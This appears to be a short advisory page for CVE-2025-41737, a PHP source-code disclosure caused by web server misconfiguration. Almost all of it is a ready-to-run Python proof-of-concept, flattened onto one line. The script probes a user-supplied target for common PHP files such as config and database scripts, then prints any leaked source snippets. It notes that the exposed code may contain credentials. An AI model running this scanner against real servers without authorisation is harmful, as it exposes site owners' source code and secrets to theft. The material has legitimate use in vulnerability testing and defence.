CVE-2025-41737 Web服务器配置错误导致PHP模块源码泄露

import requests import sys # CVE-2025-41737 PoC - PHP Source Code Disclosure # Target: Web servers with misconfigured PHP module handling def check_vulnerability(target_url): """Check if target is vulnerable to PHP source disclosure""" # Common PHP module paths to test paths = [ '/includes/config.php', '/lib/database.php', '/modules/auth.php', '/admin/db.php', '/api/endpoint.php', '/core/init.php', '/path/to/module.php' ] vulnerable_paths = [] for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10) # Check if response contains PHP source code if response.status_code == 200: content = response.text # PHP source code indicators if '<?php' in content and ('<?=' in content or 'function' in content): vulnerable_paths.append({ 'path': path, 'status': response.status_code, 'snippet': content[:200] }) print(f"[+] VULNERABLE: {url}") print(f" Source code snippet: {content[:100]}...") except requests.exceptions.RequestException as e: print(f"[-] Error testing {path}: {e}") return vulnerable_paths def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-41737.py <target_url>") print("Example: python cve-2025-41737.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning target: {target}") print(f"[*] CVE-2025-41737 - PHP Source Disclosure\n") results = check_vulnerability(target) if results: print(f"\n[!] Found {len(results)} vulnerable path(s)") print("[!] Exposed source code may contain credentials and sensitive data") else: print("\n[-] No vulnerable paths found or target not affected") if __name__ == '__main__': main()